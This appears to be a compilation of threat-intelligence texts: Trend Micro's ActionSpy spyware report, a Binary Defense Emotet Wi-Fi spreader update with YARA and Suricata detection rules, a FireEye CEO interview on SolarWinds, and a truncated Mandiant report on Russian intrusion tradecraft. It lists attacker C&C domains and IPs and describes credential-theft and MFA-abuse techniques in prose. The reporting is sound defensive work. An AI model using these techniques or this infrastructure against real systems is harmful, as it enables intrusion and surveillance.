Russian that was supportive of the United Russia party and critical of its opposition. We terminated 8 YouTube channels as part of our investigation into coordinated influence operations linked to Russia. The campaign was uploading content in Russian that was critical of Russian opposition parties. We terminated 1 YouTube channel as part of our investigation into coordinated influence operations linked to Russia. The campaign uploaded content in English pertaining to military conflicts in the Middle East. We received leads from Miburo Solutions that supported us in this investigation. We terminated 5,460 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China. These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle. A very small subset uploaded content in Chinese and English about China’s COVID-19 vaccine efforts and social issues in the U.S. These findings are consistent with our previous reports.
# New Android Spyware ActionSpy Revealed via Phishing Attacks from Earth Empusa **Posted on:** June 11, 2020 at 5:25 am **Posted in:** Malware, Mobile **Author:** Trend Micro By Ecular Xu and Joseph C. Chen While tracking Earth Empusa, also known as POISON CARP/Evil Eye, we identified an undocumented Android spyware we have named ActionSpy (detected by Trend Micro as AndroidOS_ActionSpy.HRX). During the first quarter of 2020, we observed Earth Empusa’s activity targeting users in Tibet and Turkey before they extended their scope to include Taiwan. The campaign is reportedly targeting victims related to Uyghurs by compromising their Android and iOS mobile devices. This group is known to use watering hole attacks, but we recently observed them using phishing attacks to deliver their malware. The malware that infects the mobile devices is found to be associated with a sequence of iOS exploit chain attacks in the wild since 2016. In April 2020, we noticed a phishing page disguised as a download page of an Android video application that is popular in Tibet. The phishing page, which appears to have been copied from a third-party web store, may have been created by Earth Empusa. This is based on the fact that one of the malicious scripts injected on the page was hosted on a domain belonging to the group. Upon checking the Android application downloaded from the page, we found ActionSpy. ## ActionSpy Overview ActionSpy, which may have been around since 2017, is an Android spyware that allows the attacker to collect information from the compromised devices. It also has a module designed for spying on instant messages by abusing Android Accessibility and collecting chat logs from four different instant messaging applications. ### Phishing Attacks Delivering ActionSpy Earth Empusa’s use of phishing pages is similar to our recent report on Operation Poisoned News, which also used web news pages as a lure to exploit mobile devices. Earth Empusa also used social engineering lures to trick its targets into visiting the phishing pages. We found some news web pages, which appear to have been copied from Uyghur-related news sites, hosted on their server in March 2020. All pages were injected with a script to load the cross-site scripting framework BeEF. We suspect the attacker used the framework to deliver their malicious script when they found a targeted victim browsing the said sites. However, our investigation did not yield any script when we attempted to access said phishing pages. How these pages were distributed in the wild is also unclear. Upon continued investigation in late April 2020, we found another phishing page that appears to be copied from a third-party web store and injected with two scripts to load ScanBox and BeEF frameworks. This phishing page invites users to download a video app that is known to Tibetan Android users. We believe the page was created by Earth Empusa because the BeEF framework was running on a domain that reportedly belongs to the group. The download link was modified to an archive file that contains an Android application. Analysis then revealed that the application is an undocumented Android spyware we named ActionSpy. ### Breaking Down ActionSpy This malware impersonates a legitimate Uyghur video app called Ekran. The malicious app has the same appearance and features as the original app. It is able to achieve this with VirtualApp. In addition, it’s also protected by Bangcle to evade static analysis and detection. A legitimate Ekran APK file is embedded in the ActionSpy assets directory and installed in a virtual environment after VirtualApp is ready when ActionSpy is launched the first time. ActionSpy’s configuration, including its C&C server address, is encrypted by DES. The decryption key is generated in native code. This makes static analysis difficult for ActionSpy. Every 30 seconds, ActionSpy will collect basic device information like IMEI, phone number, manufacturer, battery status, etc., which it sends to the C&C server as a heartbeat request. The server may return some commands that will be performed on the compromised device. All the communication traffic between C&C and ActionSpy is encrypted by RSA and transferred via HTTP. ### ActionSpy Supports the Following Modules: | Module Name | Description | |-------------|-------------| | location | Get device location latitude and longitude | | geo | Get geographic area like province, city, district, street address | | contacts | Get contacts info | | calling | Get call logs | | sms | Get SMS messages | | nettrace | Get browser bookmarks | | software | Get installed APP info | | process | Get running processes info | | wifi connect | Make device connect to a specific Wi-Fi hotspot | | wifi disconnect | Make the device disconnect to Wi-Fi | | wifi list | Get all available Wi-Fi hotspots info | | dir | Collect specific types of file list on SDCard, like txt, jpg, mp4, doc, xls… | | file | Upload files from device to C&C server | | voice | Record the environment | | camera | Take photos with camera | | screen | Take screenshot | | wechat | Get the structure of WeChat directory | | wxfile | Get files that received or sent from WeChat | | wxrecord | Get chat logs of WeChat, QQ, WhatsApp, and Viber | ### Abuse of Accessibility Normally, a third-party app can’t access files belonging to others on Android. This makes it difficult for ActionSpy to steal chat log files from messaging apps like WeChat directly without root permission. ActionSpy, in turn, adopts an indirect approach: it prompts users to turn on its Accessibility service and claims that it is a memory garbage cleaning service. Once the user enables the Accessibility service, ActionSpy will monitor Accessibility events on the device. This occurs when something “notable” happens in the user interface (such as clicked buttons, entered text, or changed views). When an Accessibility Event is received, ActionSpy checks if the event type is VIEW_SCROLLED or WINDOW_CONTENT_CHANGED and then checks if the events came from targeted apps like WeChat, QQ, WhatsApp, and Viber. If all the above conditions are met, ActionSpy parses the current activity contents and extracts information like nicknames, chat contents, and chat time. All the chat information is formatted and stored into a local SQLite Database. Once a “wxrecord” command is pushed, ActionSpy will gather chat logs in the database and convert them into JSON format before sending it to its C&C server. We believe ActionSpy has existed for at least three years, based on its certificate sign time (2017-07-10). We also sourced some old ActionSpy versions that were created in 2017. ### More on Earth Empusa: Watering Hole Attacks to Compromise iOS Systems Earth Empusa also employs watering hole attacks to compromise iOS devices. The group injected their malicious scripts on websites that their targets could potentially visit and load the injected script from it. We found two kinds of attacks they injected into compromised websites: 1. One injection we found is the ScanBox framework. The framework can collect information from a website’s visitors by using JavaScript to record keypresses and harvest the profiles of the OS, browser, and browser plugins from the client environment. The framework is usually used during the reconnaissance stage, allowing them to understand their targets and prepare for the next stage of the attack. 2. Another injection is their exploit chain framework, which exploits the vulnerabilities on the iOS devices. When a victim accesses the framework, it checks the User-Agent header of the HTTP request to determine the iOS version on the victim’s device and replies with a corresponding exploit code. If the User-Agent doesn’t belong to any of the targeted iOS versions, the framework will not deliver any additional payload. In the first quarter of 2020, the exploit chain framework was upgraded to include a newer iOS exploit that can compromise iOS versions 12.3, 12.3.1, and 12.3.2. Other researchers have also published details of this updated exploit. We have observed these injections on multiple Uyghur-related sites since the start of 2020. In addition, we have also identified a news website and political party website in Turkey that have been compromised and injected with the same attack. In a more recent development, we found the same injection on a university website as well as a travel agency site based in Taiwan in March 2020. These developments have led us to believe that Earth Empusa is widening the scope of their targets. ## Best Practices and Solutions Earth Empusa is still very active in the wild. We are constantly tracking and monitoring the threat group as it continues to develop new ways to attack its targets. iOS users are advised to keep their devices updated. Android users, on the other hand, are encouraged to install apps only from trusted places such as Google Play to avoid malicious apps. Users can also install security solutions, such as the Trend Micro™ Mobile Security for iOS and Trend Micro™ Mobile Security for Android™ (also available on Google Play) solutions, that can block malicious apps. End users can also benefit from their multilayered security capabilities that secure the device owner’s data and privacy, and features that protect them from ransomware, fraudulent websites, and identity theft. For organizations, the Trend Micro™ Mobile Security for Enterprise suite provides device, compliance and application management, data protection, and configuration provisioning. The suite also protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps, and detects and blocks malware and fraudulent websites. Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability. ## Indicators of Compromise All of the malicious apps below are detected as AndroidOS_ActionSpy.HRX. | SHA256 | Package Name | Label | |--------|--------------|-------| | 56a2562426e504f42ad9aa2bd53445d8e299935c817805b0d9b94315 | com.omn.vvi | Ekran | | b6e2fdbf022cd009585f62a3de71464014edd58125eb7bc15c2c670d6d | com.isyjv.klxblnwc.r | 系统优化 | | 2117e2252fe268136a2833202d746d67bf592de819cc1600ac8d9f2738 | com.isyjv.klxblnwc | Service Runtime Library | | 588b62a2e0bffa8935cd08ae46255a972b0af4966483967a3046a5df59 | com.isyjv.klxblnwc | Service Runtime Library | | d6478b4b7f0ea38947d894b1a87baf4bed7a1ece934fff9dfc233610de2 | com.isyjv.klxblnwc | Service Runtime Library | | 8d0a123e0fe91637fb41d9d9650a4b9c75b6ce77a2b51ac36f05a337da | com.ecs.esap | Service Runtime Library | | 9bc16f635fde4ff0b6b02b445a706d885779611b7813c5607ab88fdff43f | com.cd.weixin | VWechat | | 334dbd15289aaeaf3763f1702003de52ff709515246902f51ee87a4146 | com.android.dmp.rec | Recording | | 50c10ab93910a6e617c85a03f8c38a10a7c363e2d37b745964e696da8 | com.android.dmp.rec | Recording | | 6575eeda2a8f76170fb6034944eeda5c88dac8009edccc880124fa729d | com.android.dmp.l | Location | | eff30f6cc2d5d04ce4aef0c50f1fb375fb817a803bf3e8e08c847f0465818 | com.android.dmp.l | Location | | a0a48d7e0762ab24b2ec3ec488b011db866992db5392926fe43dd3d1c | com.android.dmp.cm | Camera | | 088769a80b39d0da26c676a5a52eaccdb805dc67cba85e562785c375 | com.android.dmp.c | Core | | 87306b59aaaba0ea92ea6a05feb9366eeb625e8da08ed3ef6c86a5cf3 | com.android.dmp.c | Core | ### Indicators of Earth Empusa | Indicator | Type | |-----------|------| | gotossl.ml | Domain used by Earth Empusa | | goforssl.top | Domain used by Earth Empusa | | geo2ipapi.org | Domain used by Earth Empusa | | appbuliki.com | Domain used by Earth Empusa | | umutyole.com | Domain used by Earth Empusa | | t.freenunn.com | Domain used by Earth Empusa | | start.apiforssl.com | Domain used by Earth Empusa | | static.apiforssl.com | Domain used by Earth Empusa | | cdn.doublesclick.me | Domain used by Earth Empusa | | static.doublesclick.info | Domain used by Earth Empusa | | status.search-sslkey-flush.com | Domain used by Earth Empusa | | http://114.215.41.93/ | ActionSpy C&C URL | | http://static.doubles.click:8082/ | ActionSpy C&C URL | ## MITRE ATT&CK ### Related Posts - Malicious Optimizer and Utility Android Apps on Google Play Communicate with Trojans that Install Malware, Perform Mobile Ad Fraud - Dissecting Geost: Exposing the Anatomy of the Android Trojan Targeting Russian Banks - Operation Poisoned News: Hong Kong Users Targeted With Mobile Malware via Local News Links - Barcode Reader Apps on Google Play Found Using New Ad Fraud Technique ### Tags ActionSpy, android, Earth Empusa, Ekran, Uyghur
# Emotet Wi-Fi Spreader Upgraded **March 6, 2020** This is an update to an early article regarding the emerging cyberthreat of Emotet Wi-Fi Spreader. ## Executive Summary Binary Defense analysts previously discovered a stand-alone program for spreading Emotet infections over Wi-Fi networks. Although the spreader had been recently delivered by Emotet command and control (C2) servers, the program itself had not been changed for at least two years. In the last week, an updated version of the Wi-Fi spreader was observed being delivered to multiple bots. The new version changed the spreader from a stand-alone program into a full-fledged module of Emotet with some other functionality improvements. Instead of bundling the Emotet loader with the spreader, it now downloads the loader from a server. ## Protocol Changes While the changes to the Wi-Fi spreader do not affect the key functionality of the malware, the changes are still notable as they increase the logging capability of the spreader, allowing Emotet’s authors to get step-by-step debugging logs from infected machines through the use of a new communication protocol. This communication protocol uses two PHP POST arguments to provide Emotet’s authors with crucial debugging outputs. The first argument, “id”, is set to the victim’s MachineGUID, while the second argument, “data” is set to any debug strings that the malware generates during runtime, encoded with base64. Some of the debug strings include: - We succ connected to ipc share - WNetEnumResource failed with error %d - file downloaded ok - worm started These requests are sent to a single gate.php file with the path hardcoded in the spreader. ## Spreader Changes As stated above, the overall spreader functionality has not changed much. Instead, the authors have added in more verbose debugging, while also making the spreader more versatile in the payloads that it downloads. Additionally, the service name has changed in the newly updated spreader. The only notable change to the spreader functionality is that if the spreader fails to brute-force the C$ share, the spreader will then attempt to brute-force the ADMIN$ share. Additionally, before the spreader attempts to brute-force C$/ADMIN$, it attempts to download, from a hardcoded IP, the service binary that it installs remotely. If this download fails, it sends the debug string “error downloading file” before quitting. ## Service.exe Changes Pulled down from a hardcoded URL, Service.exe is the executable used to install Emotet onto infected machines. This binary, like the old Service.exe, will only detonate if first launched as a service. Unlike the old Service.exe, however, the updated Service.exe downloads an Emotet binary from the C2 instead of containing a binary packaged inside of it. Upon startup of Service.exe, the malware connects out to the same gate.php used by the spreader and sends the debug string “remote service runned Downloading payload…”. Next, it attempts to connect to a hardcoded C2 where it pulls down the Emotet binary, saving the downloaded file as “firefox.exe.” After updating the C2 with the download status, if Emotet was successfully downloaded, Service.exe sends “payload downloaded ok” to the C2 before executing the dropped file. By downloading the Emotet loader directly from the C2, Service.exe can ensure that it has the most recent loader, without needing to package it inside itself. Additionally, this method helps to avoid detections that may flag off of the Emotet loader, but not the service executable. ## Notable Artifacts While analyzing the spreader/Service.exe combo, Binary Defense analysts uncovered some interesting and notable artifacts that lend some insight into the development process for the spreader. While looking at strings for the spreader executable, Binary Defense noticed that the hardcoded URL used by Service.exe to pull down the Emotet loader was also present in the spreader executable. Additionally, the drop name for the Emotet loader (firefox.exe) was also present. However, both were unused. This hints that it is possible that the spreader and service combo were once a single file. ## IOCs **Hash** efbfc8500b4af8b39d940668c0dd39452c529ce8d3ead77da3057f1fc7499aef 8a4239737f41b7f1730e6b6fdd2ecc3f1a4862bb6ab17f8a3d5eeba59423a8a0 3c72f2fe57a0a6f1566bcc809b1039fafb483d5cb15efe8a03c3d68d5db2589f **IP/URI(s)** 69[.]43[.]168[.]245 **File** C:\Asus.\UUUU030G182K9N73VR35HW/service.exe %TEMP/UUUU030G182K9N73VR35HW/gate.php C:\my.ex/OWP3940LD8UWMAZ26XCSQWV182K9/service.exe %TEMP/OWP3940LD8UWMAZ26XCSQWV182K9/gate.php ## YARA rule ```yara rule Emotet_WiFi_Spreader { meta: title = "Emotet Wi-Fi Spreader identification" author = "<[email protected]>" strings: $WNetAddConnection2W = { 83 c4 0c 89 5d e4 8d 85 e0 f7 ff ff 89 5d f0 89 45 f4 8d 45 e0 6a 01 ff 75 08 ff 75 0c 50 ff 15 ?? ?? ?? ?? 83 f8 35 75 } $s1 = "We succ connected to ipc share" condition: all of them } ``` ## SURICATA rule: ``` alert tcp $HOME_NET any -> $EXTERNAL_NET [80,443,8080,7080,21,50000,995] (msg:"BDS MALICIOUS Emotet Worming Traffic Likely"; content:"d29ybSBzdGFydGVk"; content:"POST"; http_method; classtype:spreader; sid:7; rev:1) ```
# Transcript: Kevin Mandia on "Face the Nation," December 20, 2020 **FireEye CEO: Hack was "totally unique," "utterly clandestine"** The following is a transcript of an interview with Kevin Mandia, FireEye CEO, that aired Sunday, December 20, 2020, on "Face the Nation." **MARGARET BRENNAN:** And we are learning more about what may be the worst cyber attack in history. It's affected many organizations, including federal agencies. Kevin Mandia is the CEO of FireEye, a cybersecurity company that protects clients against malicious software and investigates hacks. His company was the first one to discover that this massive breach happened. Good morning to you. **FIREEYE CHIEF EXECUTIVE OFFICER KEVIN MANDIA:** MARGARET, good morning to you. **MARGARET BRENNAN:** The Trump administration has described this as an ongoing attack and poses grave risk to the federal government, to state governments, to private institutions, critical infrastructure. It went undetected for nearly nine months. How should the public understand this? How significant is it? **MANDIA:** Right, well, there's a lot of ways to look at this intrusion, and first and foremost, it's different than other ones that we commonly respond to. We respond to over a thousand breaches a year. And what separates this is who did it, how they did it and what they did when they got in. And I'll get to the who probably last. But when you look at the how, MARGARET, that's what makes this totally unique. This was not a drive by shooting on the information highway. This was a sniper round from somebody a mile away from your house. This was special operations. And it was going to take special operations to detect this breach. So, the how they did it was in a way that was utterly clandestine, very difficult to tell. And quite frankly, it was a backdoor into the American supply chain that separates this from thousands of other cases that we've worked throughout our careers. **MARGARET BRENNAN:** Does it go back further than March? How long have hackers been inside the system? **MANDIA:** Well, so right now, what we've observed with this latest campaign, first, I think this threat actor wasn't a one and done. What I mean by that is I think these are folks that we've responded to in the '90s, in the early 2000s. It's a continuing game in cyberspace. You know, there's a time in our lives where the domains that we had espionage in or the domains that we had combat in or differences in were land, sea, air, then space. And now we have cyber. This is just one campaign in a long battle in cyberspace. But this campaign specifically has the earliest evidences of being designed in October of 2019 when code was changed in the SolarWinds Orion platform, but it was innocuous code. It was not a backdoor. Then sometime in March, the operators behind this attack did put malicious code into the supply chain, injected it in there and that is the backdoor that impacted everybody. I think, MARGARET, it's important to note everybody says this is potentially the biggest intrusion in our history. The reality is the blast radius for this, I kind of explain it with a funnel. It's true that over 300,000 companies use SolarWinds, but you come down from that total number down to about 18,000 or so companies that actually had the backdoor or malicious code in a network. And then you come down to the next part. It's probably only about 50 organizations or companies, somewhere in that zone that's genuinely impacted by the threat actor. **MARGARET BRENNAN:** I want to come back to that in a moment, but attribution. Secretary of state said it's Russia. **MANDIA:** Sure. **MARGARET BRENNAN:** A Republican senator who heads the Senate Intelligence Committee said it's increasingly clear that this was Russian intelligence. Do you agree that this was Russia? And what evidence do you base that on? **MANDIA:** Well, I think that is definitely a nation behind this. You just heard me say the attack started with a dry run in October of 2019. This wasn't a ransomware attack, not a drive by shooting where somebody breaks in and it's kind of like a brick through your window. And it's pretty obvious, hey, they broke in with a brick through the window and then they stole your jewels. This is more like a case where somebody came in through a trapdoor in your basement that you never knew about, put on an invisibility cloak and you just got the sense there in your networks, but you weren't even sure how. You were like, there's something different right now. Something's been moved. And it took— **MARGARET BRENNAN:** But you know better than anyone— **MANDIA:** Yeah. **MARGARET BRENNAN:** —that there are only a very few number of nation states capable of what you are describing in terms of skill. Russian intelligence— **MANDIA:** Right. **MARGARET BRENNAN:** —specifically the SVR, has repeatedly been pointed to by officials. Is that who you believe did this right? **MANDIA:** Right. I think this is an attack very consistent with that, I also believe this, we're going to get attribution right. The amount of resources inside the government, inside the private sector and the reach that we have, we can speculate it or we can do some more work and put a neon sign on the building of the folks that did this. And I'm very confident as we continue the investigation, as it gets broader, as more people learn the tools, tactics and procedures of this attack, we're going to bring it back and we're going to get attribution. Not 92% right, not consistent with, but 100%. Let's just get it right so that we can proportionately respond, period. **MARGARET BRENNAN:** Right. And it may take time to do that. But, I press you on attribution because obviously, if you want to stop it from happening again, you actually have to identify who did it in the first place. And the president kind of muddied those waters yesterday when he said it may be China, the media's overplaying it, downplayed the idea it was Russia. I'm not asking you to weigh in on politics, but how do you stop this from happening again and was it— **MANDIA:** Right. Well, clearly— **MARGARET BRENNAN:** Do you have to specifically target one country? How do you do this? **MANDIA:** Well, I think you have doctrine. That's why we have doctrine for things like the use of chemical weapons. You saw what happened when somebody used chemical weapons in Syria. There was retaliation. Folks have to know the rules of the game. And the problem in cyber is we're not doing the work to come up with the doctrine. If you publish your doctrine, we're uniquely vulnerable in cyberspace. We're the ones in the glass house. These attacks will continue to escalate, and get worse if we do nothing. So, you know, just as a cybersecurity professional, I recognize if you don't communicate the rules of the game, here's the doctrine and here's the penalty when you violate it. We're going to see the borders continue to be pushed outward in cyber attacks to the point where, when do we finally do the work— **MARGARET BRENNAN:** Yeah. **MANDIA:** —when it's already intolerable, when it already got so bad that we have no choice but to respond. **MARGARET BRENNAN:** Right. **MANDIA:** But like you said, it starts with doctrine. With doctrine, you have to get attribution right. **MARGARET BRENNAN:** Yeah. **MANDIA:** And with attribution, then you have to do a proportional response to whoever the actors were. **MARGARET BRENNAN:** All right. Kevin Mandia, thank you very much for your insight. We'll be back in a moment with a look at the economy.
# Suspected Russian Activity Targeting Government and Business Entities Around the Globe **Blog** **Authors:** Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock **Date:** Dec 06, 2021 **Read Time:** 16 mins ## Update (May 2022) We have merged UNC2452 with APT29. The UNC2452 activity described in this post is now attributed to APT29. As the one-year anniversary of the discovery of the SolarWinds supply chain compromise passes, Mandiant remains committed to tracking one of the toughest actors we have encountered. These suspected Russian actors practice top-notch operational security and advanced tradecraft. However, they are fallible, and we continue to uncover their activity and learn from their mistakes. Ultimately, they remain an adaptable and evolving threat that must be closely studied by defenders seeking to stay one step ahead. ## Summary Mandiant continues to track multiple clusters of suspected Russian intrusion activity that have targeted business and government entities around the globe. Based on our assessment of these activities, we have identified two distinct clusters of activity, UNC3004 and UNC2652. We associate both groups with UNC2452, also referred to as Nobelium by Microsoft. Some of the tactics Mandiant has recently observed include: - Compromise of multiple technology solutions, services, and reseller companies since 2020. - Use of credentials likely obtained from an info-stealer malware campaign by a third-party actor to gain initial access to organizations. - Use of accounts with Application Impersonation privileges to harvest sensitive mail data since Q1 2021. - Use of both residential IP proxy services and newly provisioned geo-located infrastructure to communicate with compromised victims. - Use of novel TTPs to bypass security restrictions within environments, including the extraction of virtual machines to determine internal routing configurations. - Use of a new bespoke downloader we call CEELOADER. - Abuse of multi-factor authentication leveraging “push” notifications on smartphones. In most instances, post-compromise activity included theft of data relevant to Russian interests. In some instances, the data theft appears to be obtained primarily to create new routes to access other victim environments. The threat actors continue to innovate and identify new techniques and tradecraft to maintain persistent access to victim environments, hinder detection, and confuse attribution efforts. The following sections highlight intrusion activity from multiple incident response efforts that are currently tracked as multiple uncategorized clusters. Mandiant suspects the multiple clusters to be attributable to a common Russian threat. The information covers some of the tactics, techniques, and procedures (TTPs) used by the threat actors for initial compromise, establishing a foothold, data collection, and lateral movement; how the threat actors provision infrastructure; and indicators of compromise. The information is being shared to raise awareness and allow organizations to better defend themselves. ## Initial Compromise ### Compromise of Cloud Services Providers Mandiant has identified multiple instances where the threat actor compromised service providers and used the privileged access and credentials belonging to these providers to compromise downstream customers. In at least one instance, the threat actor identified and compromised a local VPN account and made use of this VPN account to perform reconnaissance and gain further access to internal resources within the victim CSP’s environment, which ultimately led to the compromise of internal domain accounts. ### Access Obtained from Info-stealer Malware Campaign Mandiant identified a campaign where the threat actors gained access to the target organization’s Microsoft 365 environment using a stolen session token. Mandiant analyzed the workstations belonging to the end user and discovered that some systems had been infected with CRYPTBOT, an info-stealer malware, shortly before the stolen session token was generated. Mandiant observed that in some cases the user downloaded the malware after browsing to low reputation websites offering free, or “cracked”, software. Mandiant assesses with moderate confidence that the threat actor obtained the session token from the operators of the info-stealer malware. These tokens were used by the actor via public VPN providers to authenticate to the target’s Microsoft 365 environment. ### Abuse of Repeated MFA Push Notifications Mandiant has also observed the threat actor executing multiple authentication attempts in short succession against accounts secured with multi-factor authentication (MFA). In these cases, the threat actor had a valid username and password combination. Many MFA providers allow for users to accept a phone app push notification or to receive a phone call and press a key as a second factor. The threat actor took advantage of this and issued multiple MFA requests to the end user’s legitimate device until the user accepted the authentication, allowing the threat actor to eventually gain access to the account. ## Post Compromise Activity Via Cloud Solution Provider Compromise ### Establish Foothold In at least one case, the threat actor compromised a Microsoft Azure AD account within a Cloud Service Provider’s (CSP) tenant. The account held a specific Azure AD role that allowed it to use the Admin on Behalf Of (AOBO) feature. With AOBO, users with a specific role in the CSP tenant have Azure Role Based Access Control (RBAC) Owner access to Azure subscriptions in their customer’s tenants that were created through the reseller relationship. RBAC Owner access gives the role holder complete control over all resources within the Azure subscription. The threat actor leveraged the compromised CSP’s credentials and the AOBO feature to gain privileged access to Azure subscriptions used to host and manage downstream customer systems. The actor executed commands with NT AUTHORITY\SYSTEM privileges within Azure VMs using the Azure Run Command feature. ### Privilege Escalation Mandiant found evidence that the threat actor used RDP to pivot between systems that had limited internet access. The threat actor accessed numerous devices using RDP and executed several native Windows commands. On one device, the threat actors made use of the Windows Task Manager to dump the process memory belonging to LSASS. The threat actor also obtained the Azure AD Connect configuration, the associated AD service account, and the key material used to encrypt the service account credentials. The Azure AD Connect account is used to replicate the on-premise instance of Active Directory into Azure AD. In addition to this, the threat actor obtained the Active Directory Federation Services (ADFS) signing certificate and key material. This allowed the threat actor to forge a SAML token which could be used to bypass 2FA and conditional access policies to access Microsoft 365. The actor stopped Sysmon and Splunk logging on these devices and cleared Windows Event Logs. The threat actors leveraged compromised privileged accounts and used SMB, remote WMI, remote scheduled tasks registration, and PowerShell to execute commands within victim environments. The threat actor used the protocols mainly to perform reconnaissance, distribute BEACON around the network, as well as run native Windows commands for credential harvesting. In some cases, the actors passed in a specific Kerberos ticket during the WMIC execution using the /authority:Kerberos flag to authenticate as computer accounts. Computer accounts by design have local administrator rights over the computer for which they are named. ### Lateral Movement Between CSP and Downstream Clients CSPs have network filtering layers in place between their on-premises environment and downstream customer environments as an added security layer. Mandiant identified that the threat actor used the vSphere PowerCLI and custom PowerShell scripts configured to target the vCenter Web endpoint to export the virtual disk image of a specific networking device and copy it off the service provider’s infrastructure. To authenticate to vCenter, the threat actor used a stolen session cookie for a Privileged Access Management (PAM) account. Mandiant believes the threat actor was able to analyze this virtual machine and identify devices within the CSP’s network that were specifically allowed to communicate with targeted downstream customers. Using this knowledge, the actor compromised the authorized source jump hosts that circumvented the network security restrictions of the service provider and downstream victim network. The actor compromised a customer administration account from one of the administration jump hosts used for customer administration within the CSP’s environment. The CSP would connect via these jump hosts using dedicated customer admin accounts to interact with a downstream customer’s infrastructure. The actor then performed lateral movement through RDP and the stolen target credentials towards the victim customer network. In another case, the threat actor used Azure’s built-in Run Command feature to execute commands on numerous downstream devices. The threat actor used native Windows tools to perform initial reconnaissance, credential theft, and deploy Cobalt Strike BEACON to devices via PowerShell. The actor then used this BEACON implant to persistently install CEELOADER as a Scheduled Task that ran on login as SYSTEM on specific systems. CEELOADER is a downloader that decrypts a shellcode payload to execute in memory on the victim device. ## Data Collection Mandiant identified multiple attempts by the threat actor to dump the Active Directory database (ntds.dit) using the built-in ntdsutil.exe command. There was also evidence that the threat actor used Sysinternals ProcDump to dump the process memory of the LSASS process. In addition to this, Mandiant discovered that the threat actor had stolen the AD FS token signing certificate and the DKM key material. This would allow the threat actor to perform Golden SAML attacks and authenticate as any user into federated environments that used AD FS for authentication, such as Microsoft 365. The threat actors performed data theft through several PowerShell commands, uploading several sequential archive files ending with the .7z extension. The threat actor uploaded these files to a webserver they presumably controlled. Mandiant identified binaries that were configured to upload data to the Mega cloud storage provider. The threat actor deployed the tool in the %TEMP%\d folder as mt.exe and mtt.exe. Owing to several mistakes made by the threat actor, Mandiant was able to identify that the execution of the renamed tool failed. Upon investigation, it appears that the Megatools binary used by the threat actors fails to execute if renamed. Due to this, it is unclear whether the actor was able to successfully exfiltrate data to Mega using this method. Mandiant also observed the threat actor access a victim’s on-premises SharePoint server looking for sensitive technical documentation and credentials. The threat actor then used the gathered credentials to move laterally around the network. ### Application Impersonation Microsoft Exchange and Exchange Online provide an impersonation role (titled ApplicationImpersonation) that grants an account the ability to access another account’s mailbox and “act as” that mailbox owner. Mandiant identified that the threat actor was able to authenticate to an existing account that was previously granted the ApplicationImpersonation role; it is unclear how the actor obtained this initial access. Through this account, Mandiant witnessed the threat actor use impersonation to access multiple mailboxes belonging to users within the victim organization. The threat actor also created a new account within the Microsoft 365 environment which Mandiant deems was for backup access in the event of detection. ## Threat Actor Infrastructure ### Residential Internet Access In some campaigns, Mandiant identified that the threat actor was using residential IP address ranges to authenticate to victim environments. Mandiant believes that this access was obtained through residential and mobile IP address proxy providers. The providers proxy traffic through actual mobile devices such as phones and tablets by legitimately bundling a proxy application in return for free applications and/or services. The actor used these services to access mailboxes in victim Microsoft 365 tenants. By doing so, the source logon IP address belongs to a major Internet Service Provider that serves customers in the same country as the victim environment. These tactics showcase the complexity of the attacker's operations and are rarely seen executed by other threat actors. Accomplishing this can make it very difficult for investigators to differentiate between normal user activity and the threat actor's activity. ### Geo-located Azure Infrastructure In another campaign, the threat actor provisioned a system within Microsoft Azure that was within close proximity to a legitimate Azure-hosted system belonging to the CSP that they used to access their customer’s environment. This allowed the actor to establish geo-proximity with the victims, resulting in the recorded source IP address for the activity originating from within legitimate Azure IP ranges. Similar to the technique of using residential IP addresses, using Azure infrastructure within close proximity to victim networks makes it difficult for investigators to differentiate between normal user activity and the threat actor’s activity. ### Compromised WordPress Sites Hosting Second Stage Payloads In several campaigns by the actor, Mandiant and our partners identified that the actor was hosting second stage payloads as encrypted blobs on legitimate websites running WordPress. Mandiant observed at least two separate malware families attributed to the threat actor hosted on compromised WordPress sites. ### TOR, VPS and VPN Providers In multiple campaigns by the threat actor, Mandiant witnessed the actor use a mixture of TOR, Virtual Private Servers (VPS), and public Virtual Private Networks (VPN) to access victim environments. In a particular campaign, Mandiant identified that the threat actor performed initial reconnaissance via a VPS provider located in the same region as the victim. Mandiant believes a misconfiguration by the threat actor meant that the VPN services running on the VPS stopped functioning after 8 hours. Mandiant was then able to identify numerous TOR exit nodes that the threat actor used based on new authentication events. ## Operational Security and Planning Mandiant identified attempts to compromise multiple accounts within an environment and kept use of each account separated by function. This reduced the likelihood that detecting one activity could expose the entire scope of the intrusion. Mandiant found evidence that the actor compromised multiple accounts and used one for the sole purpose of reconnaissance, while the others were reserved for lateral movement within the organization. Mandiant previously observed this threat actor using strict operational security to use specific accounts and systems in victim environments for activities that are often higher risk, such as data theft and large-scale reconnaissance. Once within an environment, the threat actor was able to quickly pivot to on-premises servers and crawl these servers for technical documentation and credentials. From this documentation, the actor was able to identify a route to gain access to their ultimate target’s network. This reconnaissance shows that the threat actor had a clear end goal in mind and was able to identify and exploit an opportunity to obtain required intelligence to further their goals. Mandiant also observed efforts to avoid detection by circumventing or deleting system logging within the victim’s environment. Namely, Mandiant identified the threat actor disabling SysInternals Sysmon and Splunk Forwarders on victim machines that they accessed via Microsoft Remote Desktop in addition to clearing Windows Event Logs. ## Malware Descriptions **Cobalt Strike BEACON:** Backdoor written in C/C++ that is part of the Cobalt Strike framework. Supported backdoor commands include shell command execution, file transfer, file execution, and file management. BEACON can also capture keystrokes and screenshots as well as act as a proxy server. BEACON may also be tasked with harvesting system credentials, port scanning, and enumerating systems on a network. BEACON communicates with a command and control (C2) server via HTTP(S) or DNS. **CEELOADER:** Downloader written in C programming language. It supports shellcode payloads that are executed in memory. An obfuscation tool has been used to hide the code in CEELOADER in between large blocks of junk code with meaningless calls to the Windows API. The meaningful calls to the Windows API are hidden within obfuscated wrapper functions that decrypt the name of the API and dynamically resolve it before calling. CEELOADER communicates via HTTP and the C2 response is decrypted using AES-256 in CBC mode. Additionally, the HTTP request contains a statically defined id that may vary from sample to sample. CEELOADER does not contain a persistence mechanism. ## Attribution Mandiant assesses that some of this activity is UNC2652, a cluster of activity observed targeting diplomatic entities with phishing emails containing HTML attachments with malicious JavaScript, ultimately dropping a BEACON launcher. Mandiant also assesses that some of this activity is UNC3004, a cluster of activity observed targeting both government and business entities through gaining access to Cloud Solution 